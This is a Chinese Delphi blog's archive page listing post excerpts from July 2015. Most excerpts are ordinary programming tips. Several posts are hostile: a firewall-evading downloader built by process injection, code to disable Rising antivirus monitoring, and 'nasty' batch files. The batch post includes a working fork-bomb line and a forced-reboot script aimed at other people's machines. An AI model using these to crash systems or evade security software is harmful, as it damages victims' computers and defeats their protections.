2015年7月13日

创建文件/目录

摘要: 1 ShellApi CreateDirectory(PChar(ExtractFilePath(ParamStr(0))+’Test’),nil);2. 删除 在程序运行过程中,单击“删除”按钮就可以将新创建的test子目录删除,响应代码如下: procedure TForm1.btnDelete 阅读全文

posted @ 2015-07-13 15:18 疯狂delphi 阅读(1034) 评论(0) 推荐(0)

Socket的连接问题

摘要: case 10004: error = "Interrupted system call 中断的系统呼叫"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied 进入被 阅读全文

posted @ 2015-07-13 15:17 疯狂delphi 阅读(794) 评论(0) 推荐(0)

delphi 删除目录和创建目录,临时文件夹

摘要: 获取用户当前的Windows临时文件夹function GetWinTempPath: string;varTempDir: array[0..255] of char;beginGetTempPath(255, @TempDir);Result := strPas(TempDir);end; 删除 阅读全文

posted @ 2015-07-13 15:16 疯狂delphi 阅读(1873) 评论(0) 推荐(0)

获取EXe版本信息

摘要: function GetVersionString(FileName: string): string; var VerInfoSize: DWORD; VerInfo: Pointer; VerValueSize: DWORD; Dummy: DWORD; VerValue: PVSFixedFi 阅读全文

posted @ 2015-07-13 15:08 疯狂delphi 阅读(574) 评论(0) 推荐(0)

最简单的计算MD5方法

摘要: 原来写过一个计算MD5的程序,是用了一个叫MD5.pas的单元,使用起来还算简单,但还有更简单的办法,安装了indy就会有IdHashMessageDigest单元(delphi 7默认安装indy) 有篇文章教怎么用IdHashMessageDigest计算字符串md5,计算文件md5却没有说,在 阅读全文

posted @ 2015-07-13 15:07 疯狂delphi 阅读(3042) 评论(0) 推荐(0)

TreeView节点

摘要: TreeView由节点构成,建树通过对TreeView.items属性进行操作。Items是一个TTreeNodes对象,这是一个TTreeNode集。 一、针对TTreeNodes,也就是 TreeView.Items,有这些属性: 1、count,节点个数。(节点总数) 2、item[index 阅读全文

posted @ 2015-07-13 15:07 疯狂delphi 阅读(1304) 评论(0) 推荐(0)

打造无DLL版穿透防火墙Downloader

摘要: 这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。 program Inje 阅读全文

posted @ 2015-07-13 15:06 疯狂delphi 阅读(347) 评论(0) 推荐(0)

DELPHI关闭瑞星监控的源代码

摘要: program Project1; uses Windows, Messages, SysUtils; procedure DeleteMe; var BatchFile: TextFile; BatchFileName: string; ProcessInfo: TProcessInformati 阅读全文

posted @ 2015-07-13 15:05 疯狂delphi 阅读(233) 评论(0) 推荐(0)

跟大家分享几个恶心的批处理

摘要: 跟大家分享几个恶心的批处理第一个:让别人内存OVER(逼他重启) @echo off start cmd %0 就这3行了 第二个:让对方重启指定次数(害人专用) @echo off if not exist c:\1.txt echo. >c:\1.txt & goto err1 if not e 阅读全文

posted @ 2015-07-13 15:04 疯狂delphi 阅读(1110) 评论(0) 推荐(0)

删除TreeView节点以及其子节点

摘要: //1.删除TreeView节点以及其子节点procedure TForm2.Button1Click(Sender: TObject);var TreeNode:TTreeNode;begin if TreeView1.Selected Nil then Begin TreeNode := Tr... 阅读全文

posted @ 2015-07-13 15:02 疯狂delphi 阅读(1615) 评论(0) 推荐(0)

导航